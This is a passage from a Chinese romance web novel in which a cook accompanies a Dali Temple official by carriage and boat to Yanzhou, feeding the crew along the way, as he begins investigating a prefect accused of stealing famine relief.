等的就是这句话,“多谢大人!”姚轻雪眉开眼笑道谢,然后乐颠颠在前面吃吃吃,韩泽跟在身后付银子。一条街走完,姚轻雪吃得肚子溜圆。她还给曹叔打包了不少吃食。韩泽倒是没吃几口,正餐吃完后他很少再吃东西,他家厨娘做的零食除外。 两人租了车回到太平巷。曹叔还纳闷,姚厨娘不是要回家住一晚吗?怎么跟少爷一起回来了?这俩人难道嫌他碍事,所以出去私会了? …… 也不知韩泽怎么做的,姚家再出摊便无人来捣乱。不过姚轻雪可不敢再让姚福做那么多卤味。她把量减到一半,只卖半日便回家。 这日上午卖完东西,姚轻雪回去给韩泽做了午膳,等韩大人上直。她提着一篮卤味去桃儿街看鲁老头和小乞丐。路上她又买了一篮馒头。与曲长平在约好的地点见面,曲长平也带了一篮烧饼。 两人相视一笑,曲长平拿过姚轻雪的一个篮子,他一手一个挎着。“我想每月给他们送点吃食,虽然无法解决桃儿园的问题,但起码能让孩子们吃顿饱饭,我能做的也就这么多了。” 曲家也不富裕,他偶尔会抄书赚点零用,曲长平暗自决定,以后就把抄书的钱用来给桃儿园的孩子们买粮食。 鲁老头看见他们来很高兴,把孩子们都叫过来让他们都认认人。桃儿园共有十三个孩子,在三岁到十三之间,鲁冬今年十三,是这里最大的一个。 孩子们围着俩人哥哥姐姐地叫着,离开前姚轻雪给了鲁老头十两银子。回去的路上曲长平皱着眉不说话。姚轻雪问他怎么了? 少年叹气:“孩子们很可怜,有人豪掷千金只为美人一笑,有人花去百两仅是一顿饭钱,这些无家可归的孩子每天才一两个馒头。” 姚轻雪看着前方人群熙攘,良久才道:“世道不公,我们无力改变。”有人苦苦挣扎三餐难饱,有人权势滔天欺凌弱小,人生下来就是不平等的,无力改变便做好自己。 “我一定要努力读书考举人中进士,将来做一个好官。”曲长平握了握拳头,一脸坚定地说道:“多一个好官,世上的不公便会少一分。” “嗯,姐姐看好你,将来一定是位好官。”姚轻雪给他打气。 曲长平脸一红,嘟囔:“不是姐姐。” 在桃儿街耽搁了些时间,回到太平巷都快到申时末了,姚轻雪赶紧去灶房,准备做红烧鳝鱼和茱萸蘑菇炖鸡。“秋吃菌、赛过参。”秋天是吃蘑菇的季节,新鲜的蘑菇与鸡肉一起炖煮滋味甚美。 从宫里出来的韩泽望着天边的落日,他不在京城,他家厨娘怎么办?不知暗处还有没有人惦记姚轻雪?万一有,留她在京城不安全。即便有陆大人照看,也有一时不察的时候,他家厨娘又不是个乖巧听话的,放心不下啊。 下了马车韩泽便闻到家中传来的缕缕菜香,细品之下会发现有茱萸的味道,推开门,这股味道更加浓烈。韩大人勾了勾嘴角,茱萸入菜百吃不厌,他家厨娘知他喜好,每每讨好他时准会做放有茱萸的菜。 姚轻雪坐在灶房的门槛上等人,看见韩泽进来,她立时起身。“回来了,饭菜马上就来。” 曹叔端了水盆到院中,韩泽回屋换衣服,又出来洗了手,才慢悠悠走进堂屋。姚轻雪手脚麻利,片刻功夫已经将饭菜摆好。 韩泽扫了一眼,其实刚在宫中他陪皇上吃了晚膳,不过再吃一些也无妨。“你与曹叔吃了吗?” “没,我们这就去吃。”韩泽没回他们哪里好意思先吃。 韩泽道:“过来一起吃吧,我有事要说。” 姚轻雪便把她和曹叔的碗筷拿过来,韩泽动了筷子,她二人才开始夹菜。曹叔有些拘谨,主仆身份有别,不可同桌用膳,这是规矩。姚轻雪却没有这个负担。万福楼、在姚家她与韩泽都坐过同一饭桌。姚厨娘吃得香,曹叔也逐渐放松下来。 吃到一半,韩泽突然告诉他们,他要去严州办事,姚轻雪和曹叔都要去。 姚轻雪不大想去,“大人您去公干,我跟着做什么?我什么都做不了,去了也是累赘,还是不去了吧。” “你会做饭。”韩泽惜字如金,不做过多解释。 姚轻雪惊呼:“为了口吃的,您要带上我这个累赘奔赴千里?” 韩泽不置可否,“我不是在同你商量,收拾好东西,后日出发。此行快则一个月回,慢的话时间不定,严州那边仍是盛夏,衣物不必带太厚。”京城已入秋,往后天气一天比一天凉,一个月后怕是得降霜了。严州与京城有千里之遥,温度要比这边高上许多。 姚轻雪还想争取一下,“我走了,我家里人怎么办?老的老小的小我不放心。” 韩泽:“你大可放心,大理寺会帮你照看。” “严州产 蜜桔和各种果子,山水也不错,冬日又不似京城这般冷,你可以去转转,还不用自己拿银子,而且本次随我出行有额外补助。“韩泽看了一眼姚轻雪,“每人二十两。” 公费旅游还有补助?姚轻雪眼睛霎时亮了,“好,我去。” 不得不说,韩泽十分了解他家厨娘的德行,把姚轻雪七寸抓得刚刚好。 后天走,今晚姚轻雪就回了葫芦巷。姚福和刘氏听说孙女要跟韩大人走,都担心不已。姚福怕孙女路上吃苦,人生地不熟,万一有个事都没人照应,而刘氏担心的是另外一事。“韩大人就带你一个姑娘去?” 姚轻雪无语,“又不是去游山玩水,他带那么多姑娘干什么?要不是他吃饭挑剔,也不会带上我,曹叔也去。” “奶!”姚轻雪知道老太太担心什么,“您不用担心,我知道自己的身份,也没有任何妄念,等从严州回来我便从韩家辞工,到时候都挺听您的。” 这次回来,她一定要离开,无论韩泽威逼还是利诱,她都得从韩家走出来,不然待得越久越舍不得,温水煮青蛙才是最致命。她不能一辈子在他身边做厨子。 刘氏还是不大情愿让孙女跟韩泽去,但孙女都这么说了,她还能说什么。“行,等从韩家回来,你得好好给我相看人家,一个不行就十个,十个不行就几十个,总之收了心嫁人。” 姚轻雪答应下来,她让姚福把摊子停了。“我这一趟能赚二十两,够出俩月摊了,所以即便不出摊也没有亏钱,你们就在家好好歇一歇。” “用不着停吧。”姚福犹豫,“每日少做些,总比待着强。” 姚轻雪:“芽芽一人在家你们不放心?家里放着好几百两银子和绫罗绸缎你们放心?” “之前不是也没事。”刘氏嘟囔。穷了一辈子,刚有个赚钱营生,让她不赚哪能甘心。 “之前没事是之前,咱家刚修了房子,多少人眼红呢。”姚轻雪继续劝,“若是德运楼贼心不死还来捣乱,你们怎么应付?” 姚福沉默,他一大把年纪了,但什么事情都解决不了,这大半年来家里发生的桩桩件件全都是孙女出面解决。“行,不出摊了,你安心跟着韩大人公干,我们等你回来。” “这就对了嘛,银子是永远赚不完的,有钱赚得有命花,您二老要是有个意外,叫我和芽芽怎么办?相比银子你们的健康和安全才最重要。” 这话说到刘氏心坎上了,他们两个老家伙要是有事,让孙女们怎么办?大的还没成家,小的才七岁。“就听你的,不出摊了,你放心去吧,家里不用惦记。” 说服了爷爷奶奶,再有大理寺从旁照看,姚轻雪便无后顾之忧了。听说大理寺有狼狗,第二天她去跟韩泽讨回来一只。 一个多月大的狗崽儿刚落地,一个白影如闪电般到它近前,大家都还没反应过来,小白一顿猫拳下来,把小狼狗打得嗷嗷叫,直往姚福两腿钻,把一家人逗得前仰后合。 姚福把它抱起来:“这么怂能看家吗?” 可以预见以后的日子里,猫狗大战将在姚家持续上演,这下好了,爷爷奶奶不怕没事做了。 次日卯时韩泽来葫芦巷接人出城,今日天气阴沉沉的,刚出城门就下起了小雨,雨势虽不大,但已是秋日,下了雨就有些冷。姚轻雪缩了缩脖子,穿少了,衣服都在包袱里,跟韩泽同乘一辆马车,想换衣服也不方便。 韩泽看她一眼,把手边叠好的锦被丢过去。 “多谢大人!”姚轻雪眉眼弯弯地道谢。张开锦被把自己包裹了个严实。“去严州要走几天?” 韩泽:“马车最少半月。” 姚轻雪:“……”她半张着嘴,人都麻了。这马车又颠又硬,站不起躺不下,连续坐半个月她不得散架? 见他家厨娘傻里傻气的模样,韩大人心情愉悦,他缓缓道:“傍晚到河边换船,天气好的话五六日便到。”京城外有直通严州的河道,那边下了船再坐一日马车即可到达严州府城。 还好还好,姚轻雪拍拍心口,坐船起码空间大,能起来走动,不像马车只能坐着。她倒是想趴着躺着,但有韩泽在她不敢。 掀开车帘,外面细雨蒙蒙,马车前后共有八人身穿蓑衣骑马随行。跟他们一比,姚轻雪瞬间不委屈了,她有马车坐,杜七他们下雨也得在外面。 “大人,曹叔身子骨行不行啊?”姚轻雪有点担心骑马的曹叔,这里面就他年纪最大,“万一淋雨生病了怎么办?” 韩泽看她一眼,“不会。” 好吧,既然韩泽都不担心她就不管了,姚轻雪放下帘子。“我能骑马吗?”她从来没骑过马,别人策马狂奔的样子好帅。 “不能。”韩泽一口否决。骑马是闹着玩的?没骑过马的人很容易被甩下来。雨天骑马更危险,他家厨娘可真是什么都想试。 “哼,小气。”姚轻雪皱了皱鼻子,撅起嘴巴。 外面无甚风景好看,韩大人闭目养神也不搭理她,马车晃悠下姚轻雪逐渐生出困意,脑袋一点一点,几次差点栽下来。韩泽看得心惊肉跳。最后忍无可忍坐到对面,他刚坐下,身侧之人便把头靠过来。 虽早有准备,但韩大人身体还是有片刻僵硬,他家厨娘半点不觉,脸蛋还在他手臂上蹭了蹭。马车一个晃动,熟睡中的人下意识伸手抱住韩泽。 韩大人看了看睡得跟小猪似的人,叹口气把身体往后靠了靠,随后把睡得不知几何的姚轻雪的脑袋摆正,让它靠得更踏实些。 不知过了多久,姚轻雪悠悠转醒,她觉得不舒服想翻个身,然后腿脚就从座位上掉了下去,上半身被韩泽及时抱住。 姚轻雪睁开眼愣了半晌,她怎么躺下了?看样子似乎是趟韩泽腿上了,咋回事? “你这姿势不难受?”韩泽似笑非笑,身子都快拧成麻花了,倒是挺软。 姚轻雪含糊道:“难受。”她起身,但刚睡醒腿脚有些用不上力气,起到一半又砸了回去,手不小心按到韩泽小腹上。韩大人一声闷哼,赶紧把他家厨娘提溜着放到一边。 姚轻雪脸色爆红,天地可鉴她真不是故意的,纯属意外。气氛尴尬,两人并排坐着谁都没说话,就这么坐到停车休息。 中午雨势稍减,众人找了棵大树,就着水囊里的水吃随身带的干粮,看他们的样子好像习惯了。姚轻雪解开一个小包,里面整整齐齐摆着十二个用油纸包裹的圆圆东西。 韩泽吸了吸鼻子。“卤肉?” 姚轻雪给了他一个赞许的眼神,不愧是韩大人,鼻子够灵。她打开一个油纸包,露出烤得金黄的饼子,饼开了口,里面塞了满满的卤肉。 韩泽拿过来咬一口,饼子酥脆,卤肉醇香。“什么肉?” “驴肉。”姚轻雪也拿出一个吃。饼子是她特意请曲老爹给烤的,驴肉是昨日爷爷买的。放在卤汤里煮了半个下午加一个晚上,滋味特别足。 吃了两口,姚轻雪问:“我总共带了十二个,带出了曹叔的份,但是只给曹叔一人不大好,您吃三个够吗?不然每人分一个?”外面有八人骑马,加上她和韩泽,这一趟总共十人。 韩泽点点头,船上可以生活做饭,并不需要自己带干粮。 姚轻雪掀开帘子,“曹叔,杜七哥,我这有饼子给大家分了吧。” 杜七立马放下手里的馒头,满脸堆笑地走到马车前。“多谢姚厨娘,带点吃食还想着我们。” “顺带的事,不过不多,每人只能分一个。”姚轻雪拿出两个放到韩泽手边,剩下的都给了杜七。 本次韩羽、高飞、余天照、杜七等人全都跟着来。这些人都认识姚轻雪,也知道她做东西好吃。不用杜七招呼,他们都放下手里的干粮,过来一人拿一个油纸包。 烤饼个头不小,里面的肉很实诚,一口下去满口留香,可比他们的馒头包子好吃。高飞道:“要是再有点酸辣鸡爪就更好了。” 自从在大理寺门前吃了酸辣鸡爪,他隔三差五便去姚家卤味买点,不过酸辣鸡爪不是每天都有,高飞已经好久没吃了。 韩羽:“在路上有的吃就不错了,你还挑上了。” 马车里,姚轻雪把最后一口饼子咽下去,韩泽递过来一个。她摇了摇头, “饱了。”其实没太饱,但总在车里窝着,腰都直不起来,她也不敢吃太饱。剩下的两个都让韩泽吃了。 简单填了肚子,众人上马继续赶路,傍晚时分终于赶到渡口,天公作美他们到渡口雨也停了,于是决定继续赶路。韩泽奉旨公干,可以坐官船。和县县衙前几日就接到上头命令,早早准备了船。等他们到达渡口,核对身份后便登船前行。 船有两层,内部空间很大,姚轻雪终于伸开腰了,她的房间在韩泽旁边,有床有桌有茶水。把东西放下,她走到甲板上。两岸的村庄和树木快速从眼前闪过。难怪马车要走半个月,而船仅需五六日,这船跟箭似的好快。 “姚厨娘,吃饭啦。”杜七在底舱喊。和县县令给准备了饭菜,都装在食盒里。他们上船就有现成的吃。 姚轻雪来到底舱,发现众人都在看她,她有些不好意思快速瞄了一眼,只有韩泽右手的位置是空的。 韩泽道:“你若是不习惯,夹些饭菜回房吃也可。” “不用。”姚轻雪坐到他身边。 “吃吧。”韩泽先动筷,众人这才拿起筷子。 韩泽吃了几口便不吃了,等他走后,杜七道:“看来这饭菜不合大人胃口。” “我吃着还行啊。”余天照夹了一块红烧羊肉放进嘴里。 高飞道:“太腻了,大人肯定不爱吃。” 姚轻雪吃几口便知道韩泽不会喜欢,要是旁人都能将就,韩泽在吃上却将就不得,他宁愿饿着也不吃不合口的饭菜。“船上可以生火做饭吗?” “可以。”杜七指了指一个方向,“那边是伙房,米面油肉菜都有,有伙夫负责船上所有人一日两餐。”在陆上一日三餐,在船上不怎么活动便是一日两餐。 姚轻雪点点头,“等会儿我去给大人做点别的吃食。” “那感情好。”杜七小声道:“这一趟您可得把大人照顾好了,我们也好少看些他的脸色。” 大家听后都笑。 姚轻雪保证:“放心,有我在,饿不着你家大人。”这趟二十两银子呢,哪能不把人伺候好。 吃完饭姚轻雪回住处拿了小包袱下来,她找到伙房。早在姚轻雪上船时,船工们就注意她了。这一行人全是男人,就她一个姑娘。看打扮大家猜测她是韩少卿的丫鬟,没想到竟然是厨娘。 虽然不知道他们去办什么案子,但是大理寺出面必定不是小案,韩泽的身份他们也知道,于是对姚轻雪也礼貌三分。 船上的伙夫姓赵,四十多岁,“赵叔,都有什么菜?我能用哪些?”姚轻雪问。 赵叔把人领到船角的房间,里面堆放着米面、豆子、干菜等,还有新鲜的猪肉、羊肉和青菜。 “这里的东西您随便用,羊肉是县令大人给韩少卿和大理寺的人准备的,我原先还想着不知道韩大人喜欢吃什么菜,现在有姚厨娘来做,我便不用担心了。”老赵对姚轻雪很客气。 姚轻雪心想,韩泽还偏不怎么爱吃羊肉,见有腊肉,她便要了块腊肉,做腊肉蒸饭。 韩泽正在船舱看卷宗,严州治下的巴县县令写血书状告严州知府阚永明草菅人命、贪污赈灾银子。去年夏严州遭遇干旱,有的地方几乎颗粒无收,其中巴县最严重,朝廷及时送去粮食和赈灾银。 表面上看事情得到完善解决。但巴县县令段文德却说巴县仅收到五万斤粮食和一千五百两银子。巴县是大县常住人口有十几万,受灾人口报上来的有四万多,要让这些人度过难关,粮食至少要在二十万斤以上,朝廷可不止拨去这点,粮食都去哪儿了? 段文德不会拿前途去告上官,严州知府阚永明有大问题。陛下给了他密旨,让他便宜行事。韩泽眯了眯眼,有些人只当新帝好欺,不识时务却还要自作聪明。也不瞧瞧这两年宰了多少所谓先帝的忠臣。 韩泽正想的出神,突然一股香味飘进来,他愣了一下,随后听见“咚咚”的敲门声。他起身拉开舱门,就见他家厨娘端着个瓦罐。“快让开,烫!” 韩泽回身把桌上的公文收起来,姚轻雪噔噔小跑着把瓦罐放到桌上,然后开始搓手。瓦罐刚从火上拿下来,垫着麻布还是很烫,要不是她把麻布浸了水,这会儿手估计得熟。 “吃完放到门外,过后我再来收拾。”放下东西他家厨娘嘴里“嘶嘶哈哈”地跑走了。 腊肉饭散发着香气,很快弥漫了不大的船舱,韩大人心情稍霁,暂时把烦恼放到一边,专心吃起饭来。 白日路上睡了一觉,所以晚上姚轻雪睡不着了,翻来覆去折腾了一会儿实在没有困意,她穿上衣服出了船舱。 左右房间灯都灭了,甲板上也没有人。曹叔他们骑马身体乏,吃过饭就都睡了,船工们在底舱。船上静悄悄的,姚轻雪往地上一坐,两手向后撑着夹板,抬头望向天空。 不知是雨过天晴,还是他们走过了降雨带,这会儿的夜空弯月高挂,星星密密麻麻、数都数不清,一条白雾状的长条横亘天际。此时让人真切感受到苍穹之下的震撼。 姚轻雪想起最近在书上看到的一句诗,很是应景,便念了出来:“星垂平野阔,月涌大江流。”书是宋筠给的,人已经搬走了,书却忘记了还。 “厨子甚多,有诗文才气的着实不多,敢问姚厨娘从哪里学得此诗?” 姚轻雪回头,见韩泽从房里走出来,她小声道:“韩大人,您怎么还不睡呀?” 第48章 第48章有啥吃啥 韩泽走过来,学她的样子坐下,“你怎么不睡?” 姚轻雪想说白日睡多了,但想起白天的尴尬,“换床睡不着。” 在车里窝着都能睡得昏天暗地,在床上反而睡不着了?韩泽拆穿她:“我看你是白日睡多了。” 姚轻雪:“……”讨厌,懂不懂什么叫看破不说破,“韩大人!太诚实会没有朋友的。” 韩泽轻笑,很轻,如微风拂过耳畔,让人心里痒痒的。两人谁都没有说话,生怕扰了这份宁静。突然一颗流星划破天空,姚轻雪赶紧双手合十。 等她睁开眼,韩泽问:“许了什么愿望?” “说了就不灵了。”姚轻雪不告诉他。 韩泽:“我猜猜。” 姚轻雪心道你猜你猜、你使劲儿猜,看你猜不猜得出来。 韩泽漫不经心道;“赚很多银子。” 姚轻雪:“……”意思差不多,但她不能认,“猜错了,我许愿嫁个如意郎君。” “你心中的如意郎君是什么样子?”韩泽问。 姚轻雪想都没想便道:“那必定是能赚钱,还要赚钱给我花,随便我花。” 韩泽:“……”所以他根本没有猜错,“就这点要求?” 姚轻雪瞪大了眼睛看他,“韩大人觉得这要求很低?” 韩泽侧头,朦胧月色中,月光洒在她的半边脸上:“很高吗?” 姚轻雪:“……”不想跟他说话,俩人根本就不是一个层次的。话不投机、回去睡觉。 听着身后的房门轻轻合上,韩泽浅笑:“肤浅!” 肤浅的姚厨娘一夜好眠,早晨醒来就去给韩泽做饭。其他人的饭食由伙夫赵叔统一做,韩泽的膳食由姚轻雪负责。赵叔厨艺一般,重油重盐,干力气活的船工们吃着还行,大理寺这些人就有些吃不下。 “让姚厨娘给咱们做?”余天照道。 高飞:“不好吧?她毕竟是大人的厨子。” 韩羽:“咱们给银子。” 当杜七说给银子请她做饭,姚轻雪痛快答应。她来之前买了不少调味料,尤其是茱萸和茱萸粉带了不少,因为怕韩泽不喜欢外面的食物。茱萸能掩盖大部分食材本身的味道,放了茱萸的菜韩泽都能吃得下去。这就像有人喜欢香菜,而有人很厌恶,是天生的。 韩泽不喜欢某些食材原本的味道,原汁原味在他那行不通,但调味太重 ,他也不喜欢,所以就挺难伺候。不过了解之后便游刃有余,韩大人很少挑剔她做的菜。 姚轻雪给大理寺的人做了炖羊肉和红烧肉。香味从伙房里飘出来,赵叔和船工们都探出头往这边看。瞧那肉夹起来颤巍巍的,可以想象入口是怎样的软烂香醇。船夫们口水直流,眼睁睁地看着大理寺的人把红烧肉端走。 大理寺的人走后,赵叔到灶房淘米、切菜,他得给船工们准备饭食。灶房里余香环绕,有人吸了吸鼻子:“真香啊!都多久没吃这么够味的饭菜了。”船工们常年在河上跑,想吃口好的都得等休工。乍一闻到这么香的味道,哪能不馋。 有人问:“我们也出银子请姚厨娘做饭成不?” 这个提议很快得到其他人的赞成。“我看行,咱们这趟赏银不少,吃点也无所谓。” 有人怀疑,“咱们这么多人,人家能愿意吗?”船要日夜不停地前行,船工两班倒,人可比大理寺多多了,这么多人的饭不好做。 “我去问问。”老赵放下菜刀,他虽是厨子,但跟人家正经厨子比差远了,他早就馋姚厨娘的手艺了。 姚轻雪想都没想就答应了,大锅饭难不倒她。出差不但有赏银,还能顺便赚外快多好的事啊,必定不能放过。 仓库里还有羊肉,再不吃怕坏掉,姚轻雪把剩下的羊肉做了一锅羊肉焖饭。饭在大灶上煮着,她腾出手做凉拌青菜,又用自己带来的茱萸粉炸了辣油,有爱吃辣的可以放上一点。船上不大方便,尽量减少喝水她就没有做汤。 饭好后杜七他们又过来盛了碗羊肉饭溜溜缝,那些白日睡觉夜里上工的船夫是被香味儿勾醒的。一人醒来见有好吃的赶紧把其他人都推醒,还好羊肉饭量多,饶是如此,一锅羊肉饭最后一粒米都没剩下。 韩泽吃完左等右等不见他家厨娘过来收拾,他便当消食端着碗盘溜达到底舱。 “姚厨娘这是我的十文。” “这是我的。” 韩泽:“……”他看到了什么,船工们排着队往他家厨娘手里放铜板。 “姚厨娘!明日吃什么?”有人刚放下饭碗,就开始想下顿了。 “还有肉,要不您也给我们做顿红烧肉?” 姚轻雪笑眯眯道:“明日就做红烧肉。”一人一天十文钱,总共有二十几个船工,加上大理寺杜七他们给的,一天就是三百多文,这钱多好赚啊。 韩泽:“……”不是让你来赚银子的。 “韩、韩大人!”有人看见韩泽,吓得结巴了。 老赵忐忑,心说完了,指使人家厨娘给他们做饭,他这个伙夫却闲着,韩大人不会生气吧? 姚轻雪赶紧接了韩泽手里的碗盘,然后笑嘻嘻道:“大人,船工大哥们不容易,常年在水上飘,都吃不上几顿好饭,反正我闲着也是闲着就给做两顿。” 韩泽心想若是没有亲眼看见你收人家钱,我就信了你的“闲着也是闲着”,他没说行,也没说不行,转身走了。 船工们面面相觑,韩大人啥意思,是行还是不行啊? 姚轻雪一手拢在嘴边小声道:“韩大人面冷心软,他没说不行那就是行,明日继续。” 众人高兴,“那明日就麻烦姚厨娘了。” 姚轻雪:“不麻烦、不麻烦。” 韩泽走上夹板,耳边传来他家厨娘欢快的声音,还真是见钱眼开。不放过任何赚钱的机会。韩大人看着河面上的粼粼水光想,要赚多少银子她才能知足呢? 船上带的鲜肉和青菜不多,姚轻雪做的饭又让这些人饭量大增,次日早饭一顿包子和晚上一顿红烧肉,鲜肉就没有了,还有块腊肉。原本是可以靠岸去附近的城镇补给。但为了赶时间,韩泽下令全速前进,船上有什么吃什么,没有饿着,谁叫这些人可着劲儿吃。 有啥吃啥?行!姚轻雪把豆子泡了,准备做腊肉焖豆子。光有这一道菜有点不够,她看着河里的鱼遗憾道:“要是能钓几条就好了。” 船工:“鱼能钓,但不好吃。”他们在河里跑,鱼早就吃够够的了。 姚轻雪听说他们有鱼钩和干饵料,便让他们去钓几条上来。“等我做出来你尝过后再说难吃。” 船工寻思鱼怎么做都那样,能好吃到哪儿去?不过船上没啥菜了,鱼好歹算个肉,他们不吃,大理寺的人兴许爱吃。到时候给大理寺的人吃鱼,他们吃腊肉顿豆子。 听说船工们有鱼竿鱼钩,曹叔和杜七等人坐在船舷上跟着他们一起钓鱼。半个时辰便钓上来十几条,赵叔竟然钓上一条二十多斤重的大鱼。 “这么多吃不完。”赵叔把杜七他们钓上来的一斤多重的鱼丢尽河里。 姚轻雪拦住,小鱼整个做入味,可不能扔。 起初船工们不以为意,等伙房传出香味时,他们都有了一点期待。 杜七道:“哎呀,没想到在船上还能吃到香辣鱼,让我婆娘做,她就是做不出姚厨娘的这个味儿。” 高飞斜了他一眼:“总听你念叨香辣鱼,真有那么好吃?” “好吃,下饭。”杜七砸吧嘴,“吃完通体舒坦。” 香辣鱼出锅,船工们慢吞吞来盛饭。第一个从姚轻雪手里接过鱼的船工试探着尝了一口,“好吃!” “真好吃?”其他人问。 船工点头:“好吃,好吃,快点,不然大理寺的人都抢没了。” 大理寺一人端一盘香辣鱼,船工们先还以为他们不怎么吃鱼,所以才对这道菜热情很高,这一尝感情是人家早就知道姚厨娘做的鱼好吃。人多鱼少,每位船工分到一块,最后也是意犹未尽。 次日还想再吃,姚轻雪摇头,“我带的料快用完了,香辣鱼做不了,但可以做水煮鱼。”茱萸没剩下多少,本来带了一个月的量给韩泽,才三天就让她用完了。等下了船得买些备着,不然要用时现买来不及,船上还有花椒,这个可以用。 有了上次经验,船工们不敢挑了,就跟姚轻雪说:“你做什么我们吃什么。” 昨日那条二十几斤重的大鱼被养在缸里,片肉正合适。水煮鱼也是道下饭菜,最后鱼头都让他们吃了个干净。 第六日船上新鲜的东西一点没有,就剩下豆子和干菜。船工们说今晚差不多能到地方,所以靠岸补给就别想了。 姚轻雪去仓库转了一圈,这几天光吃米,面倒是一点没用,她在角落里发现了小半袋豆子粉。豆子粉看上去放的时间不短了,再不吃就得扔。 姚轻雪把豆子粉搀上面粉,加盐和面做了豆子面。配菜没有,鸡蛋也无,只能有什么用什么。干菜泡发后红烧做卤子味道也不错。 这么多人要是她一人擀面,胳膊得废,姚轻雪喊人来帮忙。船工们都有一把子力气,擀个面轻轻松松。 老赵吃着面条感慨,“豆子粉是上次去别的地儿人家给的,好几次我都想扔了,幸亏没扔。要不人家能去韩大人家做厨娘呢,豆子做成的面条我是头一次吃。” 豆子不是什么好玩意儿,家家户户都有,豆子他知道怎么吃,但豆子粉真不知道怎么做,放着都快长虫了。 在众人粮绝之际,船终于在第六日亥时到达目的地——蒲西渡口。 第49章 第49章南行 姚轻雪背着包袱跟随众人下船,老赵和船工们在船上向她摆手:“姚厨娘!后会有期。” “后会有期!”姚轻雪在船下用力晃动手臂。 韩少卿这么大个人物站这,船工们理都不理,偏偏对姚轻雪依依不舍。杜七调侃道:“姚厨娘走到哪里都很收欢迎呢。” “凭我这手艺,走到哪儿都受欢迎。”姚轻雪得意。 韩大人幽幽道:“赚了不少吧?” 姚轻雪眼神躲闪:“……也没多少,就一点点,还都是辛苦钱。” “嗯,是挺辛苦。”韩泽一本正经 道,“要是再行两日,河里的鱼看见你都得躲。”以为没什么吃的她能老实,结果她指使人钓鱼,还都吃上瘾了,把他的茱萸都吃完了。 大理寺众人都忍笑。想不到一本正经、不苟言笑的韩少卿,与姚厨娘竟是这般相处。 蒲西镇有渡口,来往客商较多,所以比较繁华,这么晚了街上还很热闹。但他们坐了几天船很乏,谁都没心思逛便找了家客栈早早睡了。 次日吃早饭时高飞问:“大人,直接去府城吗?” 严州府城离渡口不远,仅需一日路程。巴县在严州府最南端,马车要走四五日。韩泽想先去巴县。“先去巴县。” 灾情是去年的事,他此行是为了查案,不是为了救灾,所以早几天晚几天去严州府都不要紧,总得了解巴县县令所说是真是假。 饭后,杜七去车行雇车租马。韩泽见他家厨娘不住往街上瞧,便提前离开客栈,一行人沿着蒲西镇主街慢慢溜达。 姚轻雪很开心,韩泽没骗她,果然有很多种水果。苹果、橘子,竟然还有芒果。她与摊贩讨价还价,韩泽把钱袋掏出来递过去。 “多谢大人!”姚轻雪笑的见牙不见眼。 韩大人掏钱的动作太过自然了。大理寺众人眼珠滴溜溜转。韩羽对余天照挤眉弄眼,那意思看出点什么了?余天照冲前面俩人努努嘴,然后两手食指往一起对了对,俩人会心一笑。 既然韩大人掏银子,姚轻雪没手软。杜七租车回来,就看见高飞背一篓蜜橘,曹叔捧一兜黑不溜秋不知道什么的果子,姚厨娘抱着一个大青果。 上车后韩泽问:“这么高兴?”除了银子,很少有东西能让她乐得合不拢嘴。 姚轻雪点头,这么多水果她当然高兴,高兴之余遗憾道:“可惜忘了带刀,应该把菜刀带来的。” 韩泽:“……”真是不想再见菜刀了。他从包袱里拿出一把小巧的匕首递过去:“先用着。” “给我的?”姚轻雪接过来拔刀出鞘,看着很锋利,她心血来潮把头发扯过一绺放刀上面吹,呼呼吹了好几下头发都没断。 韩泽:“……只是把普通匕首,可以用它切果子,也可以用来防身。” 姚轻雪略显遗憾,虽然不太锋利但切水果够了。她把芒果削皮,车厢内瞬间弥漫了香甜的气味。姚轻雪吃得津津有味,韩泽不喜欢这个味道,倒是对鸡蛋大小的野桃子情有独钟。 中午在一个叫碧水的镇上用的午饭,知道他们是外地来的,食肆老板推荐蟹子,本地的秋蟹很有名,膏肥黄美。 但除了姚轻雪,其他人都不打算啃螃蟹,用余天照的话说就是:“全是壳子,没多少肉,吃起来还费劲,倒找钱他都不吃。” 于是点了蟹黄豆腐羹,豆腐羹润滑鲜香大家都很喜欢。韩泽就着蟹黄豆腐羹吃了一大碗米饭。姚轻雪甚是欣慰,能吃饱就好,不然她得借店家的炉灶给他做。 白天赶路,晚上住宿,马车走的不慢,第四天下午到了巴县地界。去年巴县遭遇几十年不遇的大旱,今年倒是风调雨顺。此时正值秋收之际,田里到处是金灿灿的稻谷和豆子,一点看不出去年是怎样的光景。 一辆拉稻谷的牛车走在马车一侧,杜七与赶车的老汉搭话:“老哥,今年收成不错啊,您这一车稻谷得有百十来斤吧。” 老汉牵着牛,脸上露出笑容,“有的。” “听说你们这里去年受了旱灾?可是真的?” 老汉脸上的笑容淡下去:“去年这个时候死了很多人。” “死了很多人?”杜七故作惊讶,“我听说朝廷赈灾及时,送了不少粮食和银子,按理说不该饿死人吧?” 老汉瞟了杜七一眼,“哼,衙门只发了五斤米,我们村死了快一半,老弱病残去年都死光喽。” 行至岔路,老汉赶着牛车往村子里走去。 姚轻雪听得心里不好受,整个大卫最安全和谐的地方应该就是京城。她不知道京城之外百姓生活之艰。皇帝是个好皇帝,奈何下面的臣子是蛀虫。她几乎可以想象韩泽此行将面临什么样的难题。“不是个好差事啊。” 韩泽苦笑:“大理寺能有什么好差事。”不是人命案,就是贪腐谋逆叛国等重案。他做的就是要人命的差事,但他杀的都是该杀之人,他不介意多一个严州知府。 路上没怎么耽搁,第四天众人达到巴县县城。到了县衙,县令段文德看过文牒后,双膝一软跪在地上嚎啕大哭:“陛下圣明,度年兄,你的仇终于可以报了。” “报什么仇?”韩泽面色一凛,伸手将段文德搀起来。“段大人先起来把事情说清楚。” 头发半黑半白的段文德起身后,用袖子擦了擦两边眼角。“大人,坐吧,听卑职详细说来。” 去年巴县受灾后,段文德几次请求知府赈灾,但却迟迟等不来支援。饿死了很多人后,知府才给巴县送来五万斤粮食和一千五百两银子,这对巴县来说实属杯水车薪,顶不了几天。 入秋后终于降雨,百姓种菜自救,一点一点熬到年底。本县县丞乔度年亲自去府城找严州知府陈情,他这一去就再也没有回来。 韩泽面色凝重:“出了什么事?” 段文德一拍大腿,“在府城度年兄意外得知朝廷赈灾,他派人偷偷送信回来,他要进京,告那知府阚永明。” 说到这段文德眼泪横流,“我们等啊等,等来两个月连封信都没有收到,也不见乔度年回来。我写信托京城的朋友打听,朋友回信说乔度年根本就没去京城。后来我派人去找,才知道乔度年在刚离开府城不久便遭遇不测,人就那么不明不白地死了,尸骨都没有找到。” “大人!”段文德擦干眼泪,“乔度年一定是被阚永明杀人灭口。” 韩泽:“你可有证据?” 